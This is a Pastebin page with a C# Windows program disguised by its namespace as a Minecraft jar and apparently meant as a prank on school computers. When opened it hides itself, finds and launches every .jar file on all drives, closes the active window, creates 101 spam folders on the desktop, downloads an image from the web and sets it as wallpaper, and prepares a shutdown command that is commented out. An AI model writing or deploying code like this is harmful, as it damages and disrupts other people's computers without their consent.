Advertisement
dguidorizzi

Untitled

Sep 16th, 2019
157
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 3.55 KB | None | 0 0
  1. using System;
  2. using System.Text;
  3. using System.Windows.Forms;
  4. using Shell32;
  5. using System.Security.Principal;
  6. using System.Net;
  7. using System.IO;
  8. using System.Runtime.InteropServices;
  9. using System.Diagnostics;
  10.  
  11. namespace Minecraft_1._5._2.jar
  12. {
  13.     public partial class Form1 : Form
  14.     {
  15.         bool isthere = false;
  16.         [DllImport("user32.dll", EntryPoint = "SystemParametersInfo")]
  17.         public static extern int SystemParametersInfo(UAction uAction, int uParam, StringBuilder lpvParam, int fuWinIni);
  18.         //public static string[] GetFiles(string path, string searchPattern, System.IO.SearchOption searchOption);
  19.         public enum UAction
  20.         {
  21.             SPI_SETDESKWALLPAPER = 0x0014,
  22.             SPI_GETDESKWALLPAPER = 0x0073,
  23.         }
  24.         public Form1()
  25.         {
  26.             InitializeComponent();
  27.  
  28.         }
  29.  
  30.  
  31.         private void Form1_Load(object sender, EventArgs e)
  32.         {
  33.             this.Hide();
  34.             DriveInfo[] allDrive = DriveInfo.GetDrives();
  35.  
  36.  
  37.  
  38.  
  39.  
  40.             foreach (DriveInfo d in allDrive)
  41.  
  42.             {
  43.  
  44.                 string b = d.Name.ToString();
  45.                
  46.                 try
  47.                 {
  48.                     var filename = Directory.GetFiles(b, "*.jar", SearchOption.AllDirectories);
  49.  
  50.                     foreach (string a in filename)
  51.  
  52.                     {
  53.  
  54.                         MessageBox.Show(a);
  55.                         ProcessStartInfo startInfo = new ProcessStartInfo();
  56.                         startInfo.FileName = a;
  57.                         Process.Start(startInfo);
  58.                     }
  59.                 }
  60.                 catch (Exception)
  61.                 {
  62.  
  63.                 }
  64.             }
  65.             //MC is running now
  66.             if (isthere == true) //if mc was found
  67.             {
  68.                 System.Threading.Thread.Sleep(120000); //sleeps for 2 minutes, have fun gamer
  69.             }
  70.             else
  71.             {
  72.                 MessageBox.Show("sorry gamer", "ungamer", MessageBoxButtons.OK, MessageBoxIcon.Hand);
  73.                 //sorry gamer, no mc for you
  74.             }
  75.            
  76.             SendKeys.Send("%{F4}");
  77.             Shell shellObject = new Shell();
  78.             shellObject.ToggleDesktop();
  79.             //var secretfolder = Directory.CreateDirectory(@"C:\Windows\System32\AAA Sorry gamer");
  80.             string userName = Environment.UserName;
  81.             for (int i = 0; i <= 100; i++)
  82.             {
  83.                 var spamfolders = Directory.CreateDirectory(@"C:\Users\" + userName + "\\Desktop\\No MC in school gamer " + i);
  84.             }
  85.             var folder = Directory.CreateDirectory(@"C:\sorrygamer"); //creates sorrygamer folder in C drive*****
  86.             String url = "https://wallpapercave.com/wp/mucvBBU.jpg";
  87.             using (WebClient client = new WebClient())
  88.             {
  89.                 client.DownloadFile(new Uri(url), @"C:\sorrygamer\noplayingminecraftinschoolgamer.jpg");
  90.             }
  91.  
  92.             StringBuilder s = new StringBuilder(@"C:\sorrygamer\noplayingminecraftinschoolgamer.jpg"); //build string for background
  93.             int poopee = SystemParametersInfo(UAction.SPI_SETDESKWALLPAPER, 0, s, 0x2); //change background                          
  94.             System.Threading.Thread.Sleep(5000);
  95.             var psi = new ProcessStartInfo("shutdown", "/s /t 0"); //shutdown
  96.             psi.CreateNoWindow = true;
  97.             psi.UseShellExecute = false;
  98.             //Process.Start(psi); //shutdown command
  99.             Application.Exit();
  100.         }   //end shutdown
  101.  
  102.  
  103.  
  104.  
  105.     }
  106.  
  107. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement